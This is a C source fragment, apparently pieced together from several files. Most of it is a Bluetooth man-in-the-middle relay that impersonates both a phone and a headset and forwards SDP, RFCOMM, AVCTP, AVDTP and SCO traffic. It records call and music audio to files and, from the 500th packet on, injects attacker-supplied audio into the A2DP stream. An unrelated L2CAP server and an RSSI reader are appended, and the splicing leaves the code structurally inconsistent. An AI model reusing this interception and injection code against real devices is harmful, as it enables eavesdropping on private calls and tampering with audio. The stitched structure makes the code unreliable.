if ((err = connect(rfcomm_sock1, (struct sockaddr *)&remote1, sizeof(struct sockaddr_rc))) < 0)
{
printf("Failed to connect RFCOMM 1 (%d)\n", err);
}
}
printf("Opened HS RFCOMM sock\n");
if (fcntl(rfcomm_sock1, F_SETFL, O_NONBLOCK) < 0)
{
printf("Failed to make RFCOMM socket nonblocking\n");
goto rfcomm_sock_cleanup;
}
*/
}
//printf("Got FIFO FDs: %d %d\n", ag2hs, hs2ag);
/*
if (0 > (err = fcntl(ag2hs, F_SETFL, O_NONBLOCK)))
{
printf("Failed to make AG2HS nonblocking (%d - %s)\n", errno, strerror(errno));
}
if (0 > (err = fcntl(hs2ag, F_SETFL, O_NONBLOCK)))
{
printf("Failed to make HS2AG nonblocking (%d - %s)\n", errno, strerror(errno));
}
*/
while (1)
{
if (is_server)
{
// On first run, set a SCO socket to wait for the audio gateway to initiate a phone call
if (-2 == sco_sock2)
{
sco_sock2 = -1;
start_sco_conn_wait(&sco_sock2);
}
// Check if our SDP server has been connected to
if (sdp_sock_res.res_sock != -1)
{
printf("We have been SDP queried! - %d\n", sdp_sock_res.res_sock);
sdp_sock2 = sdp_sock_res.res_sock;
sdp_sock_res.res_sock = -1;
}
/*if (server_rfcomm_sock.res_sock != -1)
{
printf("Received server RFCOMM connection!\n");
rfcomm_sock2 = server_rfcomm_sock.res_sock;
server_rfcomm_sock.res_sock = -1;
}*/
// Read +AT commands from master
if ((recv_len = recv(rfcomm_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
// Forward it to the slave
//send(rfcomm_sock2, recv_buf, recv_len, 0);
if (write(ag2hs, recv_buf, recv_len) < 0) printf("write failed\n");
printf("RFCOMM2 -> RFCOMM1: %s\n", recv_buf);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
// Check for pending slave +AT commands
if ((recv_len = read(hs2ag, recv_buf, RECV_BUF_SIZE)) > 0)
{
printf("HS2AG: %s\n", recv_buf);
send(rfcomm_sock2, recv_buf, recv_len, 0);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
// Check for pending SDP messages from slave
if ((recv_len = read(hs2ag_sdp, recv_buf, RECV_BUF_SIZE)) > 0)
{
printf("HS2AG_SDP: %d bytes\n", recv_len);
// Forward to master
if (send(sdp_sock2, recv_buf, recv_len, 0) < 0) printf("sdp_sock2 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
if (-1 != sdp_sock2)
{
// Test to see if the master sent any SDP data
if ((recv_len = recv(sdp_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
printf("SDP2->SDP1: %d bytes\n", recv_len);
// Send to slave process
write(ag2hs_sdp, recv_buf, recv_len);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
// If the master initiated a A2DP control connection
if (server_avctp_sock_res.res_sock != -1 && -1 == avctp_sock2)
{
//close(sdp_sock2);
printf("AG initiated AVCTP channel!\n");
avctp_sock2 = server_avctp_sock_res.res_sock;
server_avctp_sock_res.res_sock = -1;
}
if (-1 != avctp_sock2)
{
// Receive AVCTP data from master
if ((recv_len = recv(avctp_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
printf("AVCTP2->AVCTP1 [%d bytes]\n", recv_len);
// Send to slave process to be forwarded
write(ag2hs_avctp, recv_buf, recv_len);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
// Check for pending AVCTP data from slave process
if ((recv_len = read(hs2ag_avctp, recv_buf, RECV_BUF_SIZE)) > 0)
{
printf("HS2AG_AVCTP: %d bytes\n", recv_len);
// Send to master
if (send(avctp_sock2, recv_buf, recv_len, 0) < 0) printf("avctp_sock2 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
// If the master initiated a A2DP distribution connection
if (server_avdtp_sock_res.res_sock != -1 && -1 == avdtp_sock2)
{
printf("AG initiated AVDTP channel!\n");
// Save the result socket
avdtp_sock2 = server_avdtp_sock_res.res_sock;
server_avdtp_sock_res.res_sock = -2;
sleep(1);
}
if (-1 != avdtp_sock2)
{
if (-2 == server_avdtp_sock_res.res_sock)
{
server_avdtp_sock_res.res_sock = -1;
server_avdtp_sock_res.psm = PSM_AVDTP;
// Wait for the actual data connection over L2CAP
start_l2cap_conn_wait(&server_avdtp_sock_res);
}
if (server_avdtp_sock_res.res_sock != -1)
{
printf("AVDTP Audio channel opened!\n");
// Audio socket has been opened!
audio_sock2 = server_avdtp_sock_res.res_sock;
server_avdtp_sock_res.res_sock = -1;
}
// Test for data on master AVDTP channel
if ((recv_len = recv(avdtp_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
printf("AVDTP2->AVDTP1 [%d bytes]\n", recv_len);
// Send to slave process
write(ag2hs_avdtp, recv_buf, recv_len);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
// Test for pending slave AVDTP data
if ((recv_len = read(hs2ag_avdtp, recv_buf, RECV_BUF_SIZE)) > 0)
{
//printf("HS2AG_AVDTP: %d bytes\n", recv_len);
// Send to master
if (send(avdtp_sock2, recv_buf, recv_len, 0) < 0) printf("avdtp_sock2 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
if (-1 != audio_sock2)
{
// 608 is the magic MTU for our controller... adjust accordingly
// Test for audio data from master
if ((recv_len = recv(audio_sock2, recv_buf, 608, 0)) > 0)
{
//printf("AUDIO2->AUDIO1 [%d bytes]\n", recv_len);
// Record to file in SBC format
if (NULL == test_audio_file) test_audio_file = fopen("audiodump.sbc", "wb");
fwrite(recv_buf+12, 1, recv_len-12, test_audio_file);
/*printf("AUDPKT RTP: %02x %02x %d %d %08x\n", recv_buf[0], recv_buf[1], END_FLIP16(*((uint16_t*)&recv_buf[2])), END_FLIP32(*((uint32_t*)&recv_buf[4])), *((uint32_t*)&recv_buf[8]));*/
int sequence = END_FLIP16(*((uint16_t*)&recv_buf[2]));
// Check packet sequence number, start overwriting audio with our audio from the 500th packet
if (sequence > 500 && 1)
{
int rb = fread(recv_buf+12, 1, recv_len - 12, haxed_audio_file);
printf("Injected %d bytes into stream! %02x%02x%02x%02x\n", rb, recv_buf[16], recv_buf[17], recv_buf[18], recv_buf[19]);
}
// Send audio packet to slave process
if (write(ag2hs_audio, recv_buf, recv_len) < 0) printf("Failed to write to ag2hs_audio[err %u - %s]\n", errno, strerror(errno));
memset(recv_buf, 0, RECV_BUF_SIZE);
usleep(1);
}
// Test for pending audio data from slave process
if ((recv_len = read(hs2ag_audio, recv_buf, RECV_BUF_SIZE)) > 0)
{
//printf("HS2AG_AUDIO: %d bytes\n", recv_len);
// Send to master
if (send(audio_sock2, recv_buf, recv_len, 0) < 0) printf("avctp_sock2 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
// If the master has an open SCO connection
if (0 < sco_sock2)
{
// Test for SCO data from master
if ((recv_len = recv(sco_sock2, recv_buf, DEFAULT_SCO_MTU, 0)) > 0)
{
printf("SCO2->SCO1 [%u bytes]\n", recv_len);
// Forward SCO audio data to slave process
if (write(ag2hs_sco, recv_buf, recv_len) < 0) printf("ag2hs_sco write failed\n");
// Dump SCO audio to raw PCM file
if (NULL == test_audio_file) test_audio_file = fopen("test.pcm", "wb");
fwrite(recv_buf, 1, recv_len, test_audio_file);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
// Test for pending SCO data from slave process
if ((recv_len = read(hs2ag_sco, recv_buf, DEFAULT_SCO_MTU)) > 0)
{
printf("HS2AG_SCO: %u bytes to SCO!\n", recv_len);
//printf("^");
// Forward data to master - send as fragmented chunks if necessary
if (recv_len <= DEFAULT_SCO_MTU)
{
if (err = send(sco_sock2, recv_buf, recv_len, 0) < 0) printf("sco2 send failed (%d - %s) [%d bytes]\n", errno, strerror(errno), recv_len);
usleep(500);
}
else
{
send_sco_fragmented(sco_sock2, recv_buf, recv_len, DEFAULT_SCO_MTU);
}
printf("^");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
}
else
{
// Test for pending AVCTP data from master process
if ((recv_len = read(ag2hs_avctp, recv_buf, RECV_BUF_SIZE)) > 0)
{
printf("AG2HS_AVCTP: %d bytes\n", recv_len);
if (-1 == avctp_sock1)
{
//close(sdp_sock1);
// Master initiated a AVCTP channel to us, open a channel from us to the slave
avctp_sock1 = connect_l2cap(dest1_mac, PSM_AVCTP, NULL, NULL);
}
// Forward master's data to slave
if (send(avctp_sock1, recv_buf, recv_len, 0) < 0) printf("avctp_sock1 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
if (-1 != avctp_sock1)
{
// Test for AVCTP data from slave
if ((recv_len = recv(avctp_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
printf("AVCTP1->AVCTP2: %d bytes\n", recv_len);
// Send to master process
write(hs2ag_avctp, recv_buf, recv_len);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
// Test for pending AVDTP data from master
if ((recv_len = read(ag2hs_avdtp, recv_buf, RECV_BUF_SIZE)) > 0)
{
printf("AG2HS_AVDTP: %d bytes\n", recv_len);
// Master initiated a AVDTP channel, open a channel from us to the slave
if (-1 == avdtp_sock1)
avdtp_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP, NULL, NULL);
// Forward master's data to slave
if (send(avdtp_sock1, recv_buf, recv_len, 0) < 0) printf("avdtp_sock1 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
if (-1 != avdtp_sock1)
{
// Test for AVDTP data from slave
if ((recv_len = recv(avdtp_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
printf("AVDTP1->AVDTP2: %d bytes\n", recv_len);
// Forward AVDTP data to master process
write(hs2ag_avdtp, recv_buf, recv_len);
// Check the AVDTP packet to see if it's the A2DP audio channel initialization message
if (detect_avdtp_start_accept_msg(recv_buf, recv_len))
{
printf("Detected START ACCEPT message!\n");
// Found an A2DP audio channel ready for connect message, assume the master's role and connect over L2CAP
audio_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP, &audio_sock1_omtu, &audio_sock1_imtu);
if (audio_sock1_omtu > DEFAULT_L2CAP_MTU && 0)
{
printf("Downsizing mtu for audio sock1\n");
audio_sock1_omtu = DEFAULT_L2CAP_MTU;
set_l2cap_sock_mtu(audio_sock1, DEFAULT_L2CAP_MTU, 0);
}
}
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
// Check for +AT commands from slave
if ((recv_len = recv(rfcomm_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
printf("RFCOMM1 -> RFCOMM2: %s\n", recv_buf);
// Forward +AT command to master process
write(hs2ag, recv_buf, recv_len);
//send(rfcomm_sock1, recv_buf, recv_len, 0);
// Check for the AT command that usually shows up when a SCO connection is opened...
if (NULL != strcasestr(recv_buf, "CLCC") && 0)
{
if (-1 == sco_sock1)
{
printf("Tiem to open conn to headset!\n");
// Open the SCO connection to the slave
sco_sock1 = connect_sco(dest1_mac, local_mac);
memset(&sco_conn_options, 0, sizeof(struct sco_options));
optlen = sizeof(struct sco_options);
if (getsockopt(sco_sock1, SOL_SCO, SCO_OPTIONS, &sco_conn_options, &optlen) < 0)
{
printf("Failed to get sock options...\n");
}
printf("SCO Link1 mtu: %u\n", sco_conn_options.mtu);
}
/*else
{
printf("Resetting headset conn\n");
close(sco_sock1);
sco_sock1 = -1;
}*/
}
memset(recv_buf, 0, RECV_BUF_SIZE);
}
// MTU is 612, so read 608 bytes of payload as 4 bytes are A2DP header bytes
// 612 - 4b header
if ((recv_len = read(ag2hs_audio, recv_buf, 608)) > 0)
{
//printf("AG2HS_AUDIO: %d bytes\n", recv_len);
/*if (-1 == audio_sock1)
audio_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP, &audio_sock1_omtu, &audio_sock1_imtu);*/
/*if (recv_len > audio_sock1_omtu)
{
printf("Sending audio fragmented... %d > %d\n", recv_len, audio_sock1_omtu);
send_l2cap_fragmented(audio_sock1, recv_buf, recv_len, audio_sock1_omtu);
}
else*/
if (recv_len <= audio_sock1_omtu)
{
// Many times if we sent over the MTU or send too quickly the buffer fills up, need to watch this
if ((err = send(audio_sock1, recv_buf, recv_len, 0)) < 0)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
printf("audio_sock1 send failed %d - %s (%d bytes)\n", errno, strerror(errno), recv_len);
break;
}
}
/*audio1_sent_amt += recv_len;
if (audio1_sent_amt >= 12000)
{
audio1_sent_amt = 0;
sleep(1);
}*/
}
else
{
send_l2cap_fragmented(audio_sock1, recv_buf, recv_len, DEFAULT_L2CAP_MTU);
}
memset(recv_buf, 0, RECV_BUF_SIZE);
}
if (-1 != audio_sock1)
{
// Test for pending audio data from slavd
if ((recv_len = recv(audio_sock1, recv_buf, audio_sock1_imtu, 0)) > 0)
{
//printf("AUDIO1->AUDIO2: %d bytes\n", recv_len);
// Forward A2DP audio data to master process
write(hs2ag_audio, recv_buf, recv_len);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
// Test for SDP queries from master process
if ((recv_len = read(ag2hs_sdp, recv_buf, RECV_BUF_SIZE)) > 0)
{
printf("AG2HS_SDP: %d bytes\n", recv_len);
// Connect to slave's SDP service, pretending to be the master
if (-1 == sdp_sock1)
sdp_sock1 = connect_l2cap(dest1_mac, PSM_SDP, &sdp1_omtu, &sdp1_imtu);
// Send master's request
if (send(sdp_sock1, recv_buf, recv_len, 0) < 0) printf("sdp_sock1 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
if (-1 != sdp_sock1)
{
// Test for pending SDP responses from slave
if ((recv_len = recv(sdp_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
{
printf("SDP1->SDP2: %d bytes\n", recv_len);
// Forward SDP reply to master process
write(hs2ag_sdp, recv_buf, recv_len);
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
// Test for pending AT commands from master process
if ((recv_len = read(ag2hs, recv_buf, RECV_BUF_SIZE)) > 0)
{
printf("AG2HS: %s\n", recv_buf);
// Connect to target profile RFCOMM channel on slave, pretending to be the master
if (-1 == rfcomm_sock1)
{
rfcomm_sock1 = connect_rfcomm(dest1_mac, local_mac, rfcomm_channel1);
printf("Opened HS RFCOMM connection\n");
}
// Forward AT commands from master to slave
if (send(rfcomm_sock1, recv_buf, recv_len, 0) < 0) printf("rfcomm_sock1 send failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
// Test for pending SCO audio data from master
if ((recv_len = read(ag2hs_sco, recv_buf, DEFAULT_SCO_MTU)) > 0)
{
// printf("AG2HS_SCO: %u bytes to SCO!\n", recv_len);
// Open SCO connection to slave, assuming role of master
if (-1 == sco_sock1)
{
printf("Connecting SCO to headset!\n");
sco_sock1 = connect_sco(dest1_mac, local_mac);
memset(&sco_conn_options, 0, sizeof(struct sco_options));
optlen = sizeof(struct sco_options);
if (getsockopt(sco_sock1, SOL_SCO, SCO_OPTIONS, &sco_conn_options, &optlen) < 0)
{
printf("Failed to get sock options...\n");
}
printf("SCO Link1 mtu: %u\n", sco_conn_options.mtu);
}
// Send SCO data chunks to slave, fragmented if needed
if (recv_len <= DEFAULT_SCO_MTU)
{
if (send(sco_sock1, recv_buf, recv_len, 0) < 0)
{
printf("sco1 send failed(%d - %s) [%d B]\n",
errno, strerror(errno), recv_len);
close(sco_sock1);
sco_sock1 = -1;
}
usleep(500);
}
else
{
send_sco_fragmented(sco_sock1, recv_buf, recv_len, DEFAULT_SCO_MTU);
}
memset(recv_buf, 0, RECV_BUF_SIZE);
}
if (-1 != sco_sock1)
{
// Test for pending SCO audio data from slave
if ((recv_len = recv(sco_sock1, recv_buf, DEFAULT_SCO_MTU, 0)) > 0)
{
printf("SCO1->SCO2 [%u bytes]\n", recv_len);
// Forward SCO audio data to master process
if (write(hs2ag_sco, recv_buf, recv_len) < 0) printf("hs2ag_sco write failed\n");
memset(recv_buf, 0, RECV_BUF_SIZE);
}
}
}
}
// TODO: Remove this entire chunk of code
while(1)
{
/*
if (sdp_sock_res.res_sock != -1 && !sdp_chann_enabled && 0)
{
printf("We have been SDP queried! - %d\n", sdp_sock_res.res_sock);
sdp_sock2 = sdp_sock_res.res_sock;
sdp_chann_enabled = 1;
sdp_sock1 = connect_l2cap(dest1_mac, PSM_SDP);
}
if (sdp_chann_enabled)
{
if ((recv_len = recv(sdp_sock1, l2cap_buf, 1500, 0)) > 0)
{
printf("SDP1->SDP2: %u bytes\n", recv_len);
send(sdp_sock2, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
if ((recv_len = recv(sdp_sock2, l2cap_buf, 1500, 0)) > 0)
{
printf("SDP2->SDP1: %u bytes\n", recv_len);
send(sdp_sock1, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
}
*/
if (sco_conn_enabled)
{
if ((recv_len = recv(sco_sock1, l2cap_buf, 1500, 0)) > 0)
{
printf("SCO1->SCO2: %u bytes\n", recv_len);
send(sco_sock2, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
if ((recv_len = recv(sco_sock2, l2cap_buf, 1500, 0)) > 0)
{
printf("SCO2->SCO1: %u bytes\n", recv_len);
send(sco_sock1, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
}
if ((recv_len = recv(rfcomm_sock1, recv_buf, sizeof(recv_buf), 0)) > 0)
{
printf("RFCOMM1 -> RFCOMM2: %s\n", recv_buf);
send(rfcomm_sock2, recv_buf, recv_len, 0);
if (NULL != strcasestr(recv_buf, "CLCC"))
{
if (!sco_conn_enabled)
{
connect_sco_dual(&sco_sock2, local_mac, dest1_mac, &sco_sock1);
}
else
{
//close(sco_sock1);
close(sco_sock2);
sco_sock2 = -1;
}
}
sco_conn_enabled = (sco_sock1 > 0) && (sco_sock2 > 0);
memset(recv_buf, 0, sizeof(recv_buf));
}
if ((recv_len = recv(rfcomm_sock2, recv_buf, sizeof(recv_buf), 0)) > 0)
{
printf("RFCOMM2 -> RFCOMM1: %s\n", recv_buf);
send(rfcomm_sock1, recv_buf, recv_len, 0);
if (NULL != strcasestr(recv_buf, "CLCC"))
{
if (!sco_conn_enabled)
{
connect_sco_dual(&sco_sock1, local_mac, dest2_mac, &sco_sock2);
}
else
{
//close(sco_sock1);
close(sco_sock2);
sco_sock2 = -1;
}
}
sco_conn_enabled = (sco_sock1 > 0) && (sco_sock2 > 0);
memset(recv_buf, 0, sizeof(recv_buf));
}
if (connected)
{
if ((recv_len = recv(avctp_sock1, l2cap_buf, 1500, 0)) > 0)
{
printf("AVCTP1 -> AVCTP2: %s\n", l2cap_buf);
send(avctp_sock2, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
if ((recv_len = recv(avctp_sock2, l2cap_buf, 1500, 0)) > 0)
{
printf("AVCTP2 -> AVCTP1: %s\n", l2cap_buf);
send(avctp_sock1, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
if ((recv_len = recv(avdtp_sock1, l2cap_buf, 1500, 0)) > 0)
{
printf("AVDTP1 -> AVDTP2: %s\n", l2cap_buf);
send(avdtp_sock2, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
if ((recv_len = recv(avdtp_sock2, l2cap_buf, 1500, 0)) > 0)
{
printf("AVCTP2 -> AVCTP1: %s\n", l2cap_buf);
send(avdtp_sock1, l2cap_buf, recv_len, 0);
memset(l2cap_buf, 0, 1500);
}
}
//sleep(1);
}
l2cap_sock_cleanup:
close(avctp_sock1);
close(avdtp_sock1);
close(avctp_sock2);
close(avdtp_sock2);
rfcomm_sock_cleanup:
close(rfcomm_sock1);
close(rfcomm_sock2);
cleanup:
free(l2cap_buf);
free(recv_buf);
hci_close_dev(dev_sock);
}
int main(int argc, const char* argv[]) {
const char *hciDeviceIdOverride = NULL;
int hciDeviceId = 0;
int hciSocket;
int serverL2capSock;
struct sockaddr_l2 sockAddr;
socklen_t sockAddrLen;
int result;
bdaddr_t clientBdAddr;
int clientL2capSock;
struct l2cap_conninfo l2capConnInfo;
socklen_t l2capConnInfoLen;
int hciHandle;
fd_set afds;
fd_set rfds;
struct timeval tv;
char stdinBuf[256 * 2 + 1];
char l2capSockBuf[256];
int len;
int i;
struct bt_security btSecurity;
socklen_t btSecurityLen;
uint8_t securityLevel = 0;
// remove buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
// setup signal handlers
signal(SIGINT, signalHandler);
signal(SIGKILL, signalHandler);
signal(SIGHUP, signalHandler);
signal(SIGUSR1, signalHandler);
prctl(PR_SET_PDEATHSIG, SIGINT);
// create socket
serverL2capSock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (argc > 1 && strlen(argv[1]) > 0) {
hciDeviceIdOverride = argv[1];
}
if (hciDeviceIdOverride != NULL) {
hciDeviceId = atoi(hciDeviceIdOverride);
} else {
// if no env variable given, use the first available device
hciDeviceId = hci_get_route(NULL);
}
if (hciDeviceId < 0) {
hciDeviceId = 0; // use device 0, if device id is invalid
}
printf("hciDeviceId %d\n", hciDeviceId);
bdaddr_t daddr;
hciSocket = hci_open_dev(hciDeviceId);
if (hciSocket == -1) {
printf("adapterState unsupported\n");
return -1;
}
if (hci_read_bd_addr(hciSocket, &daddr, 1000) == -1){
daddr = *BDADDR_ANY;
}
printf("bdaddr ");
for(i = 5; i > 0; i--) {
printf("%02x:", daddr.b[i]);
}
printf("%02x", daddr.b[0]);
printf("\n");
// bind
memset(&sockAddr, 0, sizeof(sockAddr));
sockAddr.l2_family = AF_BLUETOOTH;
sockAddr.l2_bdaddr = daddr;
sockAddr.l2_cid = htobs(ATT_CID);
result = bind(serverL2capSock, (struct sockaddr*)&sockAddr, sizeof(sockAddr));
printf("bind %s\n", (result == -1) ? strerror(errno) : "success");
result = listen(serverL2capSock, 1);
printf("listen %s\n", (result == -1) ? strerror(errno) : "success");
while (result != -1) {
FD_ZERO(&afds);
FD_SET(serverL2capSock, &afds);
tv.tv_sec = 1;
tv.tv_usec = 0;
result = select(serverL2capSock + 1, &afds, NULL, NULL, &tv);
if (-1 == result) {
if (SIGINT == lastSignal || SIGKILL == lastSignal) {
break;
} else if (SIGHUP == lastSignal || SIGUSR1 == lastSignal) {
result = 0;
}
} else if (result && FD_ISSET(serverL2capSock, &afds)) {
sockAddrLen = sizeof(sockAddr);
clientL2capSock = accept(serverL2capSock, (struct sockaddr *)&sockAddr, &sockAddrLen);
baswap(&clientBdAddr, &sockAddr.l2_bdaddr);
printf("accept %s\n", batostr(&clientBdAddr));
l2capConnInfoLen = sizeof(l2capConnInfo);
getsockopt(clientL2capSock, SOL_L2CAP, L2CAP_CONNINFO, &l2capConnInfo, &l2capConnInfoLen);
hciHandle = l2capConnInfo.hci_handle;
while(1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(clientL2capSock, &rfds);
tv.tv_sec = 1;
tv.tv_usec = 0;
result = select(clientL2capSock + 1, &rfds, NULL, NULL, &tv);
if (-1 == result) {
if (SIGINT == lastSignal || SIGKILL == lastSignal) {
break;
} else if (SIGHUP == lastSignal) {
result = 0;
hci_disconnect(hciSocket, hciHandle, HCI_OE_USER_ENDED_CONNECTION, 1000);
} else if (SIGUSR1 == lastSignal) {
int8_t rssi = 0;
for (i = 0; i < 100; i++) {
hci_read_rssi(hciSocket, hciHandle, &rssi, 1000);
if (rssi != 0) {
break;
}
}
if (rssi == 0) {
rssi = 127;
}
printf("rssi = %d\n", rssi);
}
} else if (result) {
if (FD_ISSET(0, &rfds)) {
len = read(0, stdinBuf, sizeof(stdinBuf));
if (len <= 0) {
break;
}
i = 0;
while(stdinBuf[i] != '\n') {
unsigned int data = 0;
sscanf(&stdinBuf[i], "%02x", &data);
l2capSockBuf[i / 2] = data;
i += 2;
}
len = write(clientL2capSock, l2capSockBuf, (len - 1) / 2);
}
if (FD_ISSET(clientL2capSock, &rfds)) {
len = read(clientL2capSock, l2capSockBuf, sizeof(l2capSockBuf));
if (len <= 0) {
break;
}
btSecurityLen = sizeof(btSecurity);
memset(&btSecurity, 0, btSecurityLen);
getsockopt(clientL2capSock, SOL_BLUETOOTH, BT_SECURITY, &btSecurity, &btSecurityLen);
if (securityLevel != btSecurity.level) {
securityLevel = btSecurity.level;
const char *securityLevelString;
switch(securityLevel) {
case BT_SECURITY_LOW:
securityLevelString = "low";
break;
case BT_SECURITY_MEDIUM:
securityLevelString = "medium";
break;
case BT_SECURITY_HIGH:
securityLevelString = "high";
break;
default:
securityLevelString = "unknown";
break;
}
printf("security %s\n", securityLevelString);
}
printf("data ");
for(i = 0; i < len; i++) {
printf("%02x", ((int)l2capSockBuf[i]) & 0xff);
}
printf("\n");
}
}
}
printf("disconnect %s\n", batostr(&clientBdAddr));
close(clientL2capSock);
}
}
printf("close\n");
close(serverL2capSock);
close(hciSocket);
return 0;
}
int read_rssi(char *pAddress, int *pRSSI )
{
int cc = 0;
int dd;
int dev_id;
uint16_t handle;
struct hci_conn_info_req *cr;
struct hci_request rq;
read_rssi_rp rp;
bdaddr_t bdaddr;
str2ba( pAddress, &bdaddr);
dev_id = hci_for_each_dev( HCI_UP, find_conn, (long)&bdaddr );
if (dev_id < 0) {
dev_id = hci_get_route( &bdaddr );
cc = 1;
}
if (dev_id < 0) {
printf("Device not available\n");
return -1;
}
dd = hci_open_dev(dev_id);
if (dd < 0) {
printf("Cannot open device\n");
return -2;
}
if (cc) {
if (hci_create_connection( dd,
&bdaddr,
0x0008 | 0x0010,
0,
0,
&handle,
25000 ) < 0) {
printf("Cannot create connection\n");
close(dd);
return -3;
}
}
cr = malloc(sizeof(*cr) + sizeof(struct hci_conn_info));
if (!cr) {
printf("Could not allocate memory\n");
return -4;
}
bacpy(&cr->bdaddr, &bdaddr);
cr->type = ACL_LINK;
if (ioctl(dd, HCIGETCONNINFO, (unsigned long) cr) < 0) {
printf("Get connection info failed\n");
return -5;
}
memset(&rq, 0, sizeof(rq));
rq.ogf = OGF_STATUS_PARAM;
rq.ocf = OCF_READ_RSSI;
rq.cparam = &cr->conn_info->handle;
rq.clen = 2;
rq.rparam = &rp;
rq.rlen = READ_RSSI_RP_SIZE;
if ( hci_send_req( dd, &rq, 100 ) < 0 ) {
printf("Read RSSI failed\n");
return -6;
}
if (rp.status) {
printf("Read RSSI returned (error) status 0x%2.2X\n", rp.status);
return -7;
}
if (cc) {
hci_disconnect(dd, handle, 0x13, 10000);
}
close(dd);
free(cr);
*pRSSI = rp.rssi;
return 0;
}